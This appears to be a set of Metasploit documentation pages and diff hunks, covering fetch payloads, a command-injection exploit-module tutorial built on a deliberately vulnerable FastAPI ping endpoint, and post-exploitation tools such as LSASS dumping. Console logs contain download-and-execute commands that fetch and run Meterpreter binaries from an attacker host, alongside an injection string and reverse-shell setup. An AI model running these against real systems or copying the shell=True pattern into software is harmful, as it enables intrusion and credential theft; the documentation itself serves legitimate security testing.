[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
[*] Payload Handler Started as Job 0
[*] Fetch Handler listening on 10.5.135.201:8000
[*] http server started
[*] Started reverse TCP handler on 10.5.135.201:4567
```
### Fetch Handlers and Served Payload Handlers
The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under
`Jobs`, even though the Fetch Handler is listening:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000
tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN
```
Killing the Served Payload handler will kill the Fetch Handler as well:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
[*] Stopping the following job(s): 0
[*] Stopping job 0
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
## Using Fetch Payloads on the Fly
One really nice thing about Fetch Payloads is that it gives you the ability to execute a binary payload very quickly,
without relying on a session in framework or having to get a payload on target. If you have a shell session or even a
really odd situation where you can execute commands, you can get a session in framework quickly without having to upload
a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are
Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial.
## Using it in an exploit
Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch
payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or
`linux`. Once the target has been added, you can get access to the command by invoking `payload.encoded` and use it as
the command to execute on the remote target.
### Example paired with CmdStager
There is likely to be some overlap between fetch payloads and command stagers. Let's talk briefly about how to support
both in an exploit. Please see the documentation on Command Stagers for required imports and specifics for command
stagers. in this case, I'm only documenting the changes to make so that fetch payloads will work alongside command
stagers or to use fetch payloads in the style of command stagers, which I suggest you do.
In this case, I've modified the code provided in the command stager documentation to support both linux and unix command
payloads. All I did was give an array value for the `Platform` value and change the`Type` to something more generic:
``` ruby
'Targets' =>
[
[ 'Linux Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => [ 'unix', 'linux' ],
'Type' => :nix_cmd
}
]
]
```
For the `execute_command` method, nothing changes:
```ruby
def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'cookie' => 'sid=' + @sid,
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'token' => @token,
'text' => cmd,
'hhook' => 'exec',
'sid' => @sid
}
})
end
```
The only change in the exploit method is the use of the more generic `Type` value in the case statement. Nothing else
needs to change.
```ruby
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :nix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
```
If you have an exploit that already supports Unix Command payloads and you'd like it to support Linux Command payloads
like Fetch Payloads, you can simply add the `linux` value to the platform array:
```ruby
'Nix Command',
{
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
}
```
## Supported Commands
### Windows And Linux Both
#### `CURL`
cURL comes pre-installed on Windows 10 and 11, and it is incredibly common on linux platforms and the options are very
standardized across releases and platforms. This makes cURL a good default choice for both Linux and Windows
targets. All options and server protocol types are supported by the cURL command.
#### `TFTP`
The TFTP binary is useful only in edge cases because of a long list of limitations:
1) It is a Windows feature, but it is turned off by default on Windows Vista and later.
2) While you are likely to find it on Linux and Unix hosts, the options are not standard across releases.
3) The TFTP binary included in many Linux systems and all Windows systems does not allow for the port to be configured,
nor does it allow for the destination filename to be configured, so `FETCH_SRVPORT` must always be set to 69 and
`FETCH_WRITABLE_DIR` and `FETCH_FILENAME` must be empty. Listening on port 69 in Framework can be problematic, so I
suggest that you use the advanced option `FetchListenerBindPort` to start the server on a different port and redirect
the connection with a tool like iptables to a high port.
For example, if you are on a linux host with iptables, you can execute the following commands to redirect a connection
on UDP port 69 to UDP port 3069:
`sudo iptables -t nat -I PREROUTING -p udp --dport 69 -j REDIRECT --to-ports 3069`
`sudo iptables -t nat -I OUTPUT -p udp -d 127.0.0.1 --dport 69 -j REDIRECT --to-ports 3069`
Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly.
4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you
start a tftp fetch handler, a new service will start:
```msf
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
LPORT => 4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
[*] Payload Handler Started as Job 4
[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
FETCH_URIPATH => test4
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
LPORT => 8547
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
[*] Payload Handler Started as Job 5
[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:8547
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
```
There is nothing to stop you from creating a race condition by starting multiple tftp servers with the same IP, port,
and `FETCH_URI` value but serving different payloads. This will result in a race condition where the payload served is
non-deterministic.
### Windows Only
#### `Certutil`
Certutil is a great choice for Windows targets- it is likely to be present on most recent releases of Windows and is
highly configurable. The one troublesome aspect is that there is no insecure mode for Certutil, so if you are using
Certutil with the HTTPS protocol, the certificate must be correct and checked. It supports `HTTP` and `HTTPS`
protocols.
### Linux Only
#### `FTP`
FTP is an old but useful binary. While we support using the FTP binary, we do not have an FTP server. Modern releases
of FTP support both HTTP and HTTPS protocols. Unfortunately, we only support these modern versions of inline FTP, so it
may not be appropriate for older systems.
#### `TNFTP`
TNFTP (not to be confused with TFTP) is a newer version of FTP. It is exactly the same as modern FTP, but sometimes both the legacy FTP and TNFTP are
present on a system, so the command will be `tnftp` rather than `ftp`.
#### WGET
WGET is likely the first choice for a linux-only target. It supports both HTTPS and HTTP and all Fetch payload options.
It is ubiquitous on Linux hosts and very standard, making it an excellent choice.
@@ -20,7 +20,7 @@ When the mixin is included, notice there will be the following datastore options
* **SSLVerifyMode** - Verification mode: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER. Default is PEER.
* **Proxies** - Allows your module to support proxies.
* **ConnectTimeout** - Default is 10 seconds.
* **TCP::max_send_size** - Evasive option. Maxiumum TCP segment size.
* **TCP::max_send_size** - Evasive option. Maximum TCP segment size.
* **TCP::send_delay** - Evasive option. Delays inserted before every send.
If you wish to learn how to change the default value of a datastore option, please read "[[Changing the default value for a datastore option|./How-to-use-datastore-options.md]]"
@@ -126,4 +126,4 @@ def send_recv_once(data)
buf
end
```
```
@@ -84,7 +84,7 @@ module Metasploit
class SymantecWebGateway < HTTP
# Attemps to login to the server.
# Attempts to login to the server.
#
# @param [Metasploit::Framework::Credential] credential The credential information.
# @return [Result] A Result object indicating success or failure
@@ -68,13 +68,13 @@ def on_request_uri(cli, request)
end
```
Of course, when you write a Metasploit browser exploit there's a lot more you need to think about. For example, your module probably needs to do browser detection, because it wouldn't make any sense to allow Chrome to receive an IE exploit, would it? You probably also need to build a payload that's specific to the target, which means your module needs to know what target it's hitting, and you have to build a method to customize the exploit accordingly, etc. The HttpServer and HttpServer::HTML mixin provies all kinds of methods to allow you to accomplish all these. Make sure to check out the API documentation (you can either do this by running msf/documentation/gendocs.sh, or just run "yard" in the msf directory), or checkout existing code examples (especially the recent ones).
Of course, when you write a Metasploit browser exploit there's a lot more you need to think about. For example, your module probably needs to do browser detection, because it wouldn't make any sense to allow Chrome to receive an IE exploit, would it? You probably also need to build a payload that's specific to the target, which means your module needs to know what target it's hitting, and you have to build a method to customize the exploit accordingly, etc. The HttpServer and HttpServer::HTML mixin provides all kinds of methods to allow you to accomplish all these. Make sure to check out the API documentation (you can either do this by running msf/documentation/gendocs.sh, or just run "yard" in the msf directory), or checkout existing code examples (especially the recent ones).
To get things started, you can always use the following template to start developing your browser exploit:
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -37,6 +37,10 @@ The `CheckCode` also supports an optional description which is printed by the fr
return CheckCode::Appears('Vulnerable component XYZ is installed')
```
`MetasploitModule#check` methods should capture any known `raise` from methods called and return value of class
`Msf::Exploit::CheckCode`. Basically, that means avoiding the use of `fail_with` or raising exceptions that are not
handled within the check method.
## Remote Check Example
Here's an abstract example of how a Metasploit check might be written:
@@ -54,7 +58,7 @@ def check
http_body = get_http_body
if http_body
if http_body =~ /Something CMS v1\.0/
# We are able to find the version thefore more precise about the vuln state
# We are able to find the version therefore more precise about the vuln state
return Exploit::CheckCode::Appears
elsif http_body =~ /Something CMS/
# All we can tell the vulnerable app is running, but no more info to
@@ -0,0 +1,210 @@
If you've found a way to execute a command on a target, and you'd like to make a simple exploit module to get a shell, this guide is for you. Alternatively, if you have access to **fetch** commands on the target (curl, wget, ftp, tftp, tnftp, or certutil), you can use a [[Fetch Payload|How-to-use-fetch-payloads]] for a no-code solution.
By the end of this guide you'll understand how to turn [Command injection](https://owasp.org/www-community/attacks/Command_Injection) into a shell - from here, you can move on to the [[command stager|How-to-use-command-stagers]] article and upgrade your basic `:unix_cmd` Target to a Dropper for all kinds of payloads with variable command stagers.
This guide assumes *some* knowledge of programming (Understand what a class is, what methods/functions are) but expects no in-depth knowledge of Metasploit internals.
## A Vulnerable Service
For the vulnerable service test case, we'll be using a simple FastAPI service. This is very easy to spin up:
1. Install `fastapi[all]` using your preferred Python package manager (a virtual environment is recommended)
2. Create a file to hold some Python code (I'll call it `main.py`)
3. Copy the following code into your file:
```python
from fastapi import FastAPI, Response
import subprocess
app = FastAPI()
@app.get("/ping")
def ping(ip : str):
res = subprocess.run(f"ping -c 1 {ip}", shell=True, capture_output=True)
return Response(content=res.stdout.decode("utf-8"), media_type="text/plain")
```
4. Start your vulnerable service with `uvicorn main:app`
5. Test that the application works with `curl`:
```sh
$ curl http://localhost:8000/ping?ip=1.1.1.1
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_seq=1 ttl=58 time=16.7 ms
--- 1.1.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 16.739/16.739/16.739/0.000 ms
```
6. Test that your application is exploitable - also with `curl`:
```sh
$ curl localhost:8000/ping?ip=1.1.1.1%20%26%26id
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_seq=1 ttl=58 time=16.6 ms
--- 1.1.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 16.614/16.614/16.614/0.000 ms
uid=1000(meta) gid=1000(meta)
```
With this output `uid=1000(meta) gid=1000(meta)`, we know that the `id` command successfully executed on the target system. Now that we have a vulnerable application we can write a module to pwn it.
## The Structure of a Module
To have a functioning command injection Metasploit module we **need** a few things:
1. Create a subclass of `Msf::Exploit::Remote`
2. Include the `Msf::Exploit::Remote::HttpClient` mixin
3. Define three methods:
- `initialize`, which defines metadata for the Module
- `execute_command`, which is what runs the command against the remote server
- `exploit`, wraps `execute_command`, and can handle some logic when we move to a cmdstager module
4. (Not required, but recommended) a method to substitute or escape bad characters, to be used inside `execute_command`. This could also just be done inside `execute_command` instead of a separate function call.
### Where to put a Module
Metasploit looks for custom modules at `$HOME/.msf4/modules`, but the way you get modules there varies based on how you're running Metasploit.
- If you have a full install of Metasploit on your host, you can just add your custom module to `$HOME/.msf4/modules/exploits/custom_mod.rb`.
- You can also just add a module to Metasploit's modules folder - This can be helpful when troubleshooting, but it's not recommended
- **Docker** If you're using the [Docker Image](https://github.com/rapid7/metasploit-framework/tree/master/docker), you can also add modules to `$HOME/.msf4/modules` and that folder will be mounted as a volume inside the Docker container
- You can also change the mount point by modifying the [docker-compose](https://github.com/rapid7/metasploit-framework/blob/master/docker-compose.yml) file
For testing, the easiest thing to do is the simplest. You can find Metasploit's **exploit** directory, copy a file, rename it, and go from there.
## A Shell of a Module
The shell of a module that follows the above format is something like this:
```ruby
class MetasploitModule < msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
# empty for now
end
def filter_bad_chars(cmd)
# empty for now
end
def execute_command(cmd, _opts = {})
# empty for now
end
def exploit
# empty for now
end
end
```
This covers every essential point from [The Structure of a Module](#the-structure-of-a-module), although it won't run yet.
## Initialize
The `initialize` method is used to define and pass metadata. Every `initialize` method in the metasploit-framework codebase follows the format of an empty `info` being passed into `update_info`, which gets passed to the `msf::Exploit::Remote` `initialize` method:
```ruby
def initialize(info = {})
super(
update_info(
info,
# Here is where the metadata goes
'Name' => 'Command Injection against a test Ping endpoint',
'Description' => 'This exploits a command injection vulnerability against a test application',
'License' => MSF_LICENSE,
'Author' => 'YOUR NAME',
'References' => [
['URL', 'https://metasploit.com/']
],
'DisclosureDate' => '2023-08-04',
'Platform' => 'linux', # used for determining compatibility - if you're doing code injection, this may be the language of the webapp
'Targets' => [
'Unix Command',
{
'Platform' => ['linux', 'unix'], # linux and unix have different cmd payloads, this gives you more options
'Arch' => ARCH_CMD,
'Type' => :unix_cmd, # Running a command - this would be `:linux_dropper` for a cmdstager dropper
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'RPORT' => 8000,
}
}
],
'Payload' => {
'BadChars' => '\x00',
}
'Notes' => { # Required for new modules https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
# Some more metadata options are here: https://docs.metasploit.com/docs/development/developing-modules/module-metadata/module-reference-identifiers.html#code-example-of-references-in-a-module
)
)
end
```
All that this method does is register metadata to the module.
## Filtering
It's important to ensure that payloads being sent are properly encoded. As an example, if you send a request to the `/ping` endpoint that looks like `/ping?ip=1.1.1.1&&id`, you won't see the "uid=1000(meta) gid=1000(meta)" in the response because `&` is a special character in HTTP.
Encoding requirements might change based on the application you're trying to inject, so experiment if things aren't working.
```ruby
def filter_bad_chars(cmd)
return cmd
.gsub(/&/, '%26')
.gsub(/ /, '%20')
end
```
`filter_bad_chars` takes in `cmd`, which is a string. `cmd` has two substitutions applied - the first will translate `&` to `%26`, the second translates a space to `%20`. The `.gsub` statements are a global substitution across the string, so the entire payload is impacted by the substitutions here (Similar to str.replace in Python). Regardless of whether or not the string is modified, it is returned.
## Execution
The `execute_command` method takes in `cmd` and `_opts` and executes the command on the target. In our case, executing a command is simply adding the command to a GET request and sending it to the `/ping` endpoint on our sample service.
```ruby
def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => '/ping',
'encode_params' => false,
'vars_get' => {
'ip' => "bing.com%20%26%26%20#{filter_bad_chars(cmd)}",
}
})
end
```
We don't even need to handle the output of `send_request_cgi` (Really, there should be no return until the shell exits, since the call to `subprocess.run` doesn't return until that shell dies).
## Exploitation
To finish up, all we need is to define the `exploit` method. This method is called by Metasploit when you use `run` within a msfconsole. All that we'll do here is print a little status message and run the exploit, but later you can modify this method to handle droppers as well:
```ruby
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_command(payload.encoded)
end
```
If you're running Metasploit and the vulnerable Python service on the same machine, you should be able to simply set the variables and fire:
```sh
set RHOST 127.0.0.1
set LHOST 127.0.0.1
run
```
## Conclusion
That's it. Put it all together and you have a very simple Command Injection exploit module that shows you the basics of how to throw a payload. Play around with different payloads, follow the [[How-to-use-command-stagers]] guide, add some logging to the Python web server, and watch executions over Wireshark. You'll learn a lot.
@@ -8,7 +8,7 @@ Here is how you can set it up:
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -54,16 +54,16 @@ In addition, we're going to add a magical line to the config file that will let
So, open up `metasploit-framework/.git/config` with your favorite editor, add an upstream remote, and add the pull request refs for both your and Rapid7's forks. In the end, you should have a section that started off like this:
````config
```config
[remote "upstream"]
fetch = +refs/heads/*:refs/remotes/upstream/*
fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
url = https://github.com/rapid7/metasploit-framework
````
```
And now it looks like this:
````config
```config
[remote "upstream"]
fetch = +refs/heads/*:refs/remotes/upstream/*
fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
@@ -72,13 +72,13 @@ And now it looks like this:
fetch = +refs/heads/*:refs/remotes/origin/*
fetch = +refs/pull/*/head:refs/remotes/origin/pr/*
url = https://github.com/YOURNAME/metasploit-framework
````
```
Some people like to copy these over into remotes named "rapid7" and "yourusername" just so they don't have to remember about "origin" and "upstream," but for this doc, we'll just assume you have "origin" and "upstream" defined like this.
Now, you can git fetch the remote PRs. This will take a little bit, since we have a couple dozen MBs of pull request data. Storage is cheap, though, right?
````
```
$ git fetch --all
Fetching todb-r7
remote: Counting objects: 13, done.
@@ -97,7 +97,7 @@ From https://github.com/rapid7/metasploit-framework
[... bunches of tags and PRs ...]
* [new ref] refs/pull/1701/head -> upstream/pr/1701
* [new ref] refs/pull/1702/head -> upstream/pr/1702
````
```
You can `git fetch` a remote any time, and you'll get access to the latest changes to all branches and pull requests.
@@ -105,7 +105,7 @@ You can `git fetch` a remote any time, and you'll get access to the latest chang
A manageable strategy for dealing with outstanding PRs is to start pre-merge testing on the pull request in isolation. For example, to work on PR #1217, we would:
````
```
$ git checkout upstream/pr/1217
Note: checking out 'upstream/pr/1217'.
@@ -124,7 +124,7 @@ HEAD is now at 9e499e5... Make BindTCP test more robust
```
$ git checkout -b landing-1217
````
```
Now, we're on a local branch identical to the original pull request, and can move on from there. We can make our changes, isolated from master, and then either send them back to the contributor (this requires looking up the original contributor's GitHub username and branch name on GitHub), or if there aren't any changes or the changes are trivial, we can land them (if you have committer rights to Rapid7's repo, this is where you land them to the upstream repo).
@@ -173,7 +173,7 @@ You need to add their fork once as a remote: `git remote add OTHER_USER git://gi
# Making changes
````
```
$ gvim .gitignore
[... make some changes and some commits ...]
(landing-1217) todb@mazikeen:~/git/rapid7/metasploit-framework
@@ -184,19 +184,19 @@ $ git push origin pr1271-fix-gitignore-conflict
(pr1217-fix-gitignore-conflict) todb@mazikeen:~/git/rapid7/metasploit-framework
$ git pr-url schierlm javapayload-maven
Created new window in existing browser session.
````
```
This sequence does a few things after editing `.gitconfig`. It creates another copy of landing-1217 (which is itself a copy of upstream/pr/1217)). Next, I push those changes to my branch (todb-r7, aka "origin"). Finally, I have a mighty [.gitconfig alias here](https://gist.github.com/todb-r7/5438391) to open a browser window to send a pull request to the original contributor's branch (you will want to edit yours to reflect your real GitHub username, of course).
````
```ini
pr-url = !"echo https://github.com/YOURNAME/metasploit-framework/pull/new/HISNAME:HISBRANCH...YOURBRANCH"
````
```
Filling in the blanks (provided by the original PR's information from GitHub) gets me:
````
```
https://github.com/todb-r7/metasploit-framework/pull/new/schierlm:javapayload-maven...pr1217-fix-gitignore-conflict
````
```
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once [@schierlm](https://github.com/schierlm) landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
@@ -208,7 +208,7 @@ Note the important bit here: **you do not need commit rights to Rapid7 to branch
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else ([@jlee-r7](https://github.com/jlee-r7)) was able to to do something like this:
````
```
$ git fetch upstream
remote: Counting objects: 12, done.
remote: Compressing objects: 100% (2/2), done.
@@ -216,31 +216,31 @@ remote: Total 7 (delta 5), reused 7 (delta 5)
Unpacking objects: 100% (7/7), done.
From https://github.com/rapid7/metasploit-framework
9e499e5..263e967 refs/pull/1651/head -> upstream/pr/1651
````
```
This all looked good, so he could land this to Rapid7's repo with:
````
``
$ git checkout -b upstream-master --track upstream/master
$ git merge -S --no-ff --edit landing-1217
$ git push upstream upstream-master:master
````
``
Or, if he already have upstream-master checked out:
````
```
$ git checkout upstream-master
$ git rebase upstream/master
$ git merge -S --no-ff --edit landing-1217
$ git push upstream upstream-master:master
````
```
The `--edit` is optional if we have our editor configured correctly in `$HOME/.gitconfig`. The point here is that we *always* want a merge commit, and we *never* want to use the (often useless) default merge commit message. For #1217, this was changed to:
````commit
```
Land #1217, java payload build system refactor
````
```
Note that you should rebase *before* landing -- otherwise, your merge commit will be lost in the rebase.
@@ -248,7 +248,7 @@ Finally, the -S indicates we are going to sign the merge, using our GPG key. Thi
To set yourself up for signing, your .gitconfig (or metasploit-framework/git/.config) file should have these entries:
````
```ini
[user]
name = Your Name
email = your@email.xxx
@@ -256,7 +256,7 @@ signingkey = DEADBEEF # Must match exactly with your key for "Your Name <your@em
[alias]
c = commit -S --edit
m = merge -S --no-ff --edit
````
```
People with commit rights to rapid7/metasploit-framework will have their [[keys listed here|./Committer-Keys.md]].
@@ -271,10 +271,6 @@ Release note examples:
The [rn-no-release-notes](https://github.com/rapid7/metasploit-framework/issues?utf8=%E2%9C%93&q=label%3Arn-no-release-notes+) label must be added if there are no release notes for the merged pull request.
# Cross-linking PRs, Bugs, and Commits
TODO: Update in this new post-Redmine, GitHub issues world
# Merge conflicts
The nice thing about this strategy is that you can test for merge conflicts straight away. You'd use a sequence like:
@@ -16,7 +16,7 @@ If listeners are externalized, then there is an API layer both for interactive i
### Integration of native tool-chains
Tools like Veil, pwnlib, etc. have for a long time used native compilers and tooling to build payloads and evasions. Metasploit has opted mostly for native Ruby solutions, though it does have some implicit runtime dependencies like `apktool` for Android payload injection. However, these tools are getting harder to maintain and use (e.g. metasm has a diffcult time building any non-trivial C code, we just spent a month fixing a bug it had with Ruby 2.5 and Windows). It would be nice to have either be able to depend on a set of first-class toolchains being available in the environment, or have some way to package them natively with Metasploit itself. A full suite of compilers and tools does consume considerable amounts of space (e.g. mettle's toolchain is 1.8GB uncompressed), but this is probably less of a problem than it was 15 years ago.
Tools like Veil, pwnlib, etc. have for a long time used native compilers and tooling to build payloads and evasions. Metasploit has opted mostly for native Ruby solutions, though it does have some implicit runtime dependencies like `apktool` for Android payload injection. However, these tools are getting harder to maintain and use (e.g. metasm has a difficult time building any non-trivial C code, we just spent a month fixing a bug it had with Ruby 2.5 and Windows). It would be nice to have either be able to depend on a set of first-class toolchains being available in the environment, or have some way to package them natively with Metasploit itself. A full suite of compilers and tools does consume considerable amounts of space (e.g. mettle's toolchain is 1.8GB uncompressed), but this is probably less of a problem than it was 15 years ago.
### Native first-class UUID-aware, async stager payload
@@ -26,7 +26,7 @@ Make a new async payload type (based on pingback payload work) making secure com
### Overhaul network targeting
Setting at least 5 variables RHOSTS/RPORT/SSL/VHOST/SSL_Version/User/Pass/etc... to target a single web application is very cumbersome. When these variables also do not apply to multiple RHOSTS exactly, the scheme of multiple variables falls apart futher. Metasploit should be able to target URLs directly, that can all have their own independent ports, users, hostnames, etc:
Setting at least 5 variables RHOSTS/RPORT/SSL/VHOST/SSL_Version/User/Pass/etc... to target a single web application is very cumbersome. When these variables also do not apply to multiple RHOSTS exactly, the scheme of multiple variables falls apart further. Metasploit should be able to target URLs directly, that can all have their own independent ports, users, hostnames, etc:
```
set TARGETS https://user:password@target_app:4343 https://target_app2
@@ -73,7 +73,7 @@ This module has a selection of inbuilt queries which can be configured via the `
- `ENUM_ALL_OBJECT_CATEGORY` - Dump all objects containing any objectCategory field.
- `ENUM_ALL_OBJECT_CLASS` - Dump all objects containing any objectClass field.
- `ENUM_COMPUTERS` - Dump all objects containing an objectCategory or objectClass of Computer.
- `ENUM_CONSTRAINED_DELEGATION` - Dump info about all known objects that allow contrained delegation.
- `ENUM_CONSTRAINED_DELEGATION` - Dump info about all known objects that allow constrained delegation.
- `ENUM_DNS_RECORDS` - Dump info about DNS records the server knows about using the dnsNode object class.
- `ENUM_DNS_ZONES` - Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This isneeded - as without this BASEDN prefix we often miss certain entries.
- `ENUM_DOMAIN` - Dump info about the Active Directory domain.
@@ -89,7 +89,7 @@ This module has a selection of inbuilt queries which can be configured via the `
- `ENUM_MACHINE_ACCOUNT_QUOTA` - Dump the number of computer accounts a user is allowed to create in a domain.
- `ENUM_ORGROLES` - Dump info about all known organization roles in the LDAP environment.
- `ENUM_ORGUNITS` - Dump info about all known organizational units in the LDAP environment.
- `ENUM_UNCONSTRAINED_DELEGATION` - Dump info about all known objects that allow uncontrained delegation.
- `ENUM_UNCONSTRAINED_DELEGATION` - Dump info about all known objects that allow unconstrained delegation.
- `ENUM_USER_ACCOUNT_DISABLED` - Dump info about disabled user accounts.
- `ENUM_USER_ACCOUNT_LOCKED_OUT` - Dump info about locked out user accounts.
- `ENUM_USER_ASREP_ROASTABLE` - Dump info about all users who are configured not to require kerberos pre-authentication and are therefore AS-REP roastable.
@@ -23,7 +23,7 @@ Matching Modules
There are two ways to launch a Post module, both require an existing session.
Within a msf prompt you can use the `use` comand followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:
Within a msf prompt you can use the `use` command followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:
```msf
msf6 > use post/windows/gather/enum_chrome
@@ -4,7 +4,7 @@ SMB (Server Message Blocks), is a way for sharing files across nodes on a networ
There are two main ports for SMB:
- 139/TCP - Initially Microsoft implemented SMB ontop of their existing NetBIOS network architecture, which allowed for Windows computers to communicate across the same network
- 139/TCP - Initially Microsoft implemented SMB on top of their existing NetBIOS network architecture, which allowed for Windows computers to communicate across the same network
- 445/TCP - Newer versions of SMB use this port, were NetBIOS is not used.
Other terminology to be aware of:
@@ -10,7 +10,7 @@ Meterpreter even when running on the Windows platform.
crashes, the Meterpreter session will die. It is suggested that users invoke this functionality through a dedicated
session to avoid losing access altogether.
The loader and execution environment are provided by [trustedsec/COFFLoader][3]. The extension is therefor subject to
The loader and execution environment are provided by [trustedsec/COFFLoader][3]. The extension is therefore subject to
the same limitations.
The following functions are unavailable:
@@ -33,8 +33,6 @@ The `bofloader` extension provides exactly one command, through which all of the
`execute_bof </path/to/bof_file> [Options] -- [BOF Arguments]`
* `-c` / `--compile` -- Compile the input file (requires mingw).
* `-e` / `--entry` -- The entry point (default: `go`).
* `-f` / `--format-string` -- Argument format-string. See details below.
@@ -79,7 +77,7 @@ argument format string.
# Usage Examples
Executing [dir][4], passing the path argument and number of sub-directories to list.
```
```msf
meterpreter > execute_bof CS-Situational-Awareness-BOF/SA/dir/dir.x64.o --format-string Zs C:\\ 0
Contents of C:\*:
08/05/2022 15:17 <dir> $Recycle.Bin
@@ -103,7 +101,7 @@ meterpreter >
Executing [nanodump][5]. First the PID of LSASS is found, then the argument string is constructed. The output must be
written to disk. Once completed, the dump file can be downloaded from the remote host.
```
```msf
meterpreter > ps lsass
Filtering on 'lsass'
@@ -32,7 +32,7 @@ Each value also has an associated type, for example:
All of these examples assume you are in a Meterpreter session. To see the latest help information run `help reg`:
```
```msf
meterpreter > help reg
Usage: reg [command] [options]
Interact with the target machine's registry.
@@ -44,7 +44,7 @@ Interact with the target machine's registry.
Registry keys must be escaped correctly. Window's registry keys are escaped with backslashes. In msfconsole backslashes and spaces have a special meaning - which means you will need to escape these characters for your key to work as expected.
```
```msf
# Valid: Using single quotes around the registry key
meterpreter > reg enumkey -k 'HKCU\Keyboard Layout'
@@ -75,7 +75,7 @@ Active sessions
For example - when interacting with a x86 session there are 12 keys listed:
```
```msf
# x86 Session
